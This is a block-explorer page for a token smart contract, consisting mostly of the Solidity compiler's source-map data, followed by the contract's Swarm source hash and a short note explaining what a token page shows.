419::-;15922:24;15949:25;15959:5;15966:7;15949:9;:25::i;:::-;15922:52;;-1:-1:-1;;15989:16:0;:37;15985:248;;16071:6;16051:16;:26;;16043:68;;;;-1:-1:-1;;;16043:68:0;;6912:2:1;16043:68:0;;;6894:21:1;6951:2;6931:18;;;6924:30;6990:31;6970:18;;;6963:59;7039:18;;16043:68:0;6710:353:1;16043:68:0;16155:51;16164:5;16171:7;16199:6;16180:16;:25;16155:8;:51::i;:::-;15911:329;15821:419;;;:::o;19036:3359::-;-1:-1:-1;;;;;19168:18:0;;19160:68;;;;-1:-1:-1;;;19160:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19247:16:0;;19239:64;;;;-1:-1:-1;;;19239:64:0;;;;;;;:::i;:::-;19331:1;19322:6;:10;19314:52;;;;-1:-1:-1;;;19314:52:0;;8080:2:1;19314:52:0;;;8062:21:1;8119:2;8099:18;;;8092:30;8158:31;8138:18;;;8131:59;8207:18;;19314:52:0;7878:353:1;19314:52:0;19381:14;;;;19377:1727;;;3716:6;;-1:-1:-1;;;;;19434:15:0;;;3716:6;;19434:15;;;;:49;;-1:-1:-1;3716:6:0;;-1:-1:-1;;;;;19470:13:0;;;3716:6;;19470:13;;19434:49;:86;;;;-1:-1:-1;;;;;;19504:16:0;;;;19434:86;:128;;;;-1:-1:-1;;;;;;19541:21:0;;19555:6;19541:21;;19434:128;19412:1681;;;19602:11;;;;;;;19597:327;;-1:-1:-1;;;;;19672:22:0;;;;;;:16;:22;;;;;;;;;:75;;-1:-1:-1;;;;;;19727:20:0;;;;;;:16;:20;;;;;;;;19672:75;19638:190;;;;-1:-1:-1;;;19638:190:0;;8438:2:1;19638:190:0;;;8420:21:1;8477:2;8457:18;;;8450:30;8516:31;8496:18;;;8489:59;8565:18;;19638:190:0;8236:353:1;19638:190:0;3716:6;;-1:-1:-1;;;;;19859:15:0;;;3716:6;;19859:15;19851:53;;;;-1:-1:-1;;;19851:53:0;;8796:2:1;19851:53:0;;;8778:21:1;8835:2;8815:18;;;8808:30;8874:27;8854:18;;;8847:55;8919:18;;19851:53:0;8594:349:1;19851:53:0;20004:8;-1:-1:-1;;;;;19996:16:0;:4;-1:-1:-1;;;;;19996:16:0;;:41;;;;-1:-1:-1;;;;;;20017:20:0;;;;;;:16;:20;;;;;;;;20016:21;19996:41;19970:1108;;;20124:10;;20114:6;:20;;20080:153;;;;-1:-1:-1;;;20080:153:0;;9150:2:1;20080:153:0;;;9132:21:1;9189:2;9169:18;;;9162:30;9228:34;9208:18;;;9201:62;-1:-1:-1;;;9279:18:1;;;9272:45;9334:19;;20080:153:0;8948:411:1;20080:153:0;20316:7;;-1:-1:-1;;;;;8036:18:0;;8009:7;8036:18;;;;;;;;;;;20290:22;;:6;:22;:::i;:::-;:33;;20256:150;;;;-1:-1:-1;;;20256:150:0;;9566:2:1;20256:150:0;;;9548:21:1;9605:2;9585:18;;;9578:30;9644:33;9624:18;;;9617:61;9695:18;;20256:150:0;9364:355:1;20256:150:0;19970:1108;;;20510:8;-1:-1:-1;;;;;20504:14:0;:2;-1:-1:-1;;;;;20504:14:0;;:41;;;;-1:-1:-1;;;;;;20523:22:0;;;;;;:16;:22;;;;;;;;20522:23;20504:41;20478:600;;;20632:11;;20622:6;:21;;20588:156;;;;-1:-1:-1;;;20588:156:0;;9926:2:1;20588:156:0;;;9908:21:1;9965:2;9945:18;;;9938:30;10004:34;9984:18;;;9977:62;-1:-1:-1;;;10055:18:1;;;10048:47;10112:19;;20588:156:0;9724:413:1;20478:600:0;-1:-1:-1;;;;;20797:20:0;;;;;;:16;:20;;;;;;;;20796:21;:69;;;;-1:-1:-1;;;;;;20843:22:0;;;;;;:16;:22;;;;;;;;20842:23;20796:69;20770:308;;;20968:7;;-1:-1:-1;;;;;8036:18:0;;8009:7;8036:18;;;;;;;;;;;20942:22;;:6;:22;:::i;:::-;:33;;20908:150;;;;-1:-1:-1;;;20908:150:0;;9566:2:1;20908:150:0;;;9548:21:1;9605:2;9585:18;;;9578:30;9644:33;9624:18;;;9617:61;9695:18;;20908:150:0;9364:355:1;20908:150:0;21163:4;21114:28;8036:18;;;;;;;;;;;21219:16;;21195:40;;;;;;;21264:35;;-1:-1:-1;21288:11:0;;;;;;;21264:35;:61;;;;-1:-1:-1;21317:8:0;;;;;;;21316:9;21264:61;:103;;;;;21351:16;;21342:6;:25;21264:103;:140;;;;;21395:8;-1:-1:-1;;;;;21387:16:0;:4;-1:-1:-1;;;;;21387:16:0;;21385:19;21264:140;:178;;;;-1:-1:-1;;;;;;21422:20:0;;;;;;:14;:20;;;;;;;;21421:21;21264:178;:214;;;;-1:-1:-1;;;;;;21460:18:0;;;;;;:14;:18;;;;;;;;21459:19;21264:214;21246:342;;;21505:8;:15;;-1:-1:-1;;21505:15:0;;;;;21535:10;:8;:10::i;:::-;21560:8;:16;;-1:-1:-1;;21560:16:0;;;21246:342;-1:-1:-1;;;;;21632:20:0;;21598:12;21632:20;;;:14;:20;;;;;;21613:4;;21632:20;;;:42;;-1:-1:-1;;;;;;21656:18:0;;;;;;:14;:18;;;;;;;;21632:42;21628:90;;;-1:-1:-1;21701:5:0;21628:90;21728:12;21759:7;21755:589;;;21786:11;;;;;;;21783:60;;;21816:10;:8;:10::i;:::-;21888:8;-1:-1:-1;;;;;21882:14:0;:2;-1:-1:-1;;;;;21882:14:0;;:29;;;;;21910:1;21900:7;;:11;21882:29;21878:321;;;21960:3;21949:7;;21940:6;:16;;;;:::i;:::-;21939:24;;;;:::i;:::-;21932:31;;21999:4;21982:13;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;21878:321:0;;-1:-1:-1;21878:321:0;;22070:8;-1:-1:-1;;;;;22062:16:0;:4;-1:-1:-1;;;;;22062:16:0;;:30;;;;;22091:1;22082:6;;:10;22062:30;22058:141;;;22140:3;22130:6;;22121;:15;;;;:::i;:::-;22120:23;;;;:::i;:::-;22113:30;;22179:4;22162:13;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;22058:141:0;22217:8;;22213:91;;22246:42;22262:4;22276;22283;22246:15;:42::i;:::-;22318:14;22328:4;22318:14;;:::i;:::-;;;21755:589;22354:33;22370:4;22376:2;22380:6;22354:15;:33::i;:::-;19149:3246;;;;19036:3359;;;:::o;3808:132::-;3716:6;;-1:-1:-1;;;;;3716:6:0;2941:10;3872:23;3864:68;;;;-1:-1:-1;;;3864:68:0;;10872:2:1;3864:68:0;;;10854:21:1;;;10891:18;;;10884:30;10950:34;10930:18;;;10923:62;11002:18;;3864:68:0;10670:356:1;4903:191:0;4996:6;;;-1:-1:-1;;;;;5013:17:0;;;-1:-1:-1;;;;;;5013:17:0;;;;;;;5046:40;;4996:6;;;5013:17;4996:6;;5046:40;;4977:16;;5046:40;4966:128;4903:191;:::o;15524:289::-;-1:-1:-1;;;;;15639:19:0;;15631:28;;;;;;-1:-1:-1;;;;;15678:21:0;;15670:30;;;;;23244:471;23327:4;23283:23;8036:18;;;;;;;;;;;23371:13;;23401:20;;;:42;;-1:-1:-1;23425:18:0;;23401:42;23397:81;;;23460:7;;23244:471::o;23397:81::-;23512:16;;23494:15;:34;23490:101;;;23563:16;;23545:34;;23490:101;23605:32;23621:15;23605;:32::i;:::-;23658:16;;23650:57;;-1:-1:-1;;;;;23658:16:0;;;;;;;;;23685:21;23650:57;;;;;;;;;23685:21;23658:16;23650:57;;;;;;;;;;;;;;;;;;;;;23272:443;;23244:471::o;18443:431::-;18519:1;18505:11;;:15;18483:68;;;;-1:-1:-1;;;18483:68:0;;11233:2:1;18483:68:0;;;11215:21:1;11272:2;11252:18;;;11245:30;-1:-1:-1;;;11291:18:1;;;11284:46;11347:18;;18483:68:0;11031:340:1;18483:68:0;18635:11;;18585:12;;18562:20;;18635:15;;18649:1;18635:15;:::i;:::-;18608:42;;18680:16;18664:12;:32;18661:205;;18722:2;18713:6;:11;;;18739:7;:12;18472:402;;18443:431::o;18661:205::-;18793:1;18784:6;:10;;;18809:7;:11;18835;:19;;-1:-1:-1;;18835:19:0;;;18472:402;;18443:431::o;12093:806::-;-1:-1:-1;;;;;12190:18:0;;12182:68;;;;-1:-1:-1;;;12182:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12269:16:0;;12261:64;;;;-1:-1:-1;;;12261:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12411:15:0;;12389:19;12411:15;;;;;;;;;;;12445:21;;;;12437:72;;;;-1:-1:-1;;;12437:72:0;;11578:2:1;12437:72:0;;;11560:21:1;11617:2;11597:18;;;11590:30;11656:34;11636:18;;;11629:62;-1:-1:-1;;;11707:18:1;;;11700:36;11753:19;;12437:72:0;11376:402:1;12437:72:0;-1:-1:-1;;;;;12545:15:0;;;:9;:15;;;;;;;;;;;12563:20;;;12545:38;;12763:13;;;;;;;;;;:23;;;;;;12815:26;;1361:25:1;;;12763:13:0;;12815:26;;1334:18:1;12815:26:0;;;;;;;12854:37;23244:471;23721:388;23810:16;;;23824:1;23810:16;;;;;;;;23786:21;;23810:16;;;;;;;;;;-1:-1:-1;23810:16:0;23786:40;;23855:4;23837;23842:1;23837:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;23837:23:0;;;-1:-1:-1;;;;;23837:23:0;;;;;16798:42;-1:-1:-1;;;;;23881:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23871:4;23876:1;23871:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23871:26:0;;;:7;;;;;;;;;;;:26;23910:191;;-1:-1:-1;;;23910:191:0;;16798:42;;23910:60;;:191;;23985:11;;24011:1;;24028:4;;24055;;24075:15;;23910:191;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23775:334;23721:388;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2970:248::-;3038:6;3046;3099:2;3087:9;3078:7;3074:23;3070:32;3067:52;;;3115:1;3112;3105:12;3067:52;-1:-1:-1;;3138:23:1;;;3208:2;3193:18;;;3180:32;;-1:-1:-1;2970:248:1:o;3223:416::-;3288:6;3296;3349:2;3337:9;3328:7;3324:23;3320:32;3317:52;;;3365:1;3362;3355:12;3317:52;3404:9;3391:23;3423:31;3448:5;3423:31;:::i;:::-;3473:5;-1:-1:-1;3530:2:1;3515:18;;3502:32;3572:15;;3565:23;3553:36;;3543:64;;3603:1;3600;3593:12;3543:64;3626:7;3616:17;;;3223:416;;;;;:::o;3644:388::-;3712:6;3720;3773:2;3761:9;3752:7;3748:23;3744:32;3741:52;;;3789:1;3786;3779:12;3741:52;3828:9;3815:23;3847:31;3872:5;3847:31;:::i;:::-;3897:5;-1:-1:-1;3954:2:1;3939:18;;3926:32;3967:33;3926:32;3967:33;:::i;4037:380::-;4116:1;4112:12;;;;4159;;;4180:61;;4234:4;4226:6;4222:17;4212:27;;4180:61;4287:2;4279:6;4276:14;4256:18;4253:38;4250:161;;4333:10;4328:3;4324:20;4321:1;4314:31;4368:4;4365:1;4358:15;4396:4;4393:1;4386:15;4250:161;;4037:380;;;:::o;4422:127::-;4483:10;4478:3;4474:20;4471:1;4464:31;4514:4;4511:1;4504:15;4538:4;4535:1;4528:15;4554:125;4619:9;;;4640:10;;;4637:36;;;4653:18;;:::i;7068:401::-;7270:2;7252:21;;;7309:2;7289:18;;;7282:30;7348:34;7343:2;7328:18;;7321:62;-1:-1:-1;;;7414:2:1;7399:18;;7392:35;7459:3;7444:19;;7068:401::o;7474:399::-;7676:2;7658:21;;;7715:2;7695:18;;;7688:30;7754:34;7749:2;7734:18;;7727:62;-1:-1:-1;;;7820:2:1;7805:18;;7798:33;7863:3;7848:19;;7474:399::o;10142:168::-;10215:9;;;10246;;10263:15;;;10257:22;;10243:37;10233:71;;10284:18;;:::i;10315:217::-;10355:1;10381;10371:132;;10425:10;10420:3;10416:20;10413:1;10406:31;10460:4;10457:1;10450:15;10488:4;10485:1;10478:15;10371:132;-1:-1:-1;10517:9:1;;10315:217::o;10537:128::-;10604:9;;;10625:11;;;10622:37;;;10639:18;;:::i;11915:127::-;11976:10;11971:3;11967:20;11964:1;11957:31;12007:4;12004:1;11997:15;12031:4;12028:1;12021:15;12047:251;12117:6;12170:2;12158:9;12149:7;12145:23;12141:32;12138:52;;;12186:1;12183;12176:12;12138:52;12218:9;12212:16;12237:31;12262:5;12237:31;:::i;12303:980::-;12565:4;12613:3;12602:9;12598:19;12644:6;12633:9;12626:25;12670:2;12708:6;12703:2;12692:9;12688:18;12681:34;12751:3;12746:2;12735:9;12731:18;12724:31;12775:6;12810;12804:13;12841:6;12833;12826:22;12879:3;12868:9;12864:19;12857:26;;12918:2;12910:6;12906:15;12892:29;;12939:1;12949:195;12963:6;12960:1;12957:13;12949:195;;;13028:13;;-1:-1:-1;;;;;13024:39:1;13012:52;;13119:15;;;;13084:12;;;;13060:1;12978:9;12949:195;;;-1:-1:-1;;;;;;;13200:32:1;;;;13195:2;13180:18;;13173:60;-1:-1:-1;;;13264:3:1;13249:19;13242:35;13161:3;12303:980;-1:-1:-1;;;12303:980:1:o

Swarm Source

ipfs://b751f993df73292ffebd019173fad8af4ec1fba9b7f25405807241da266097a9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.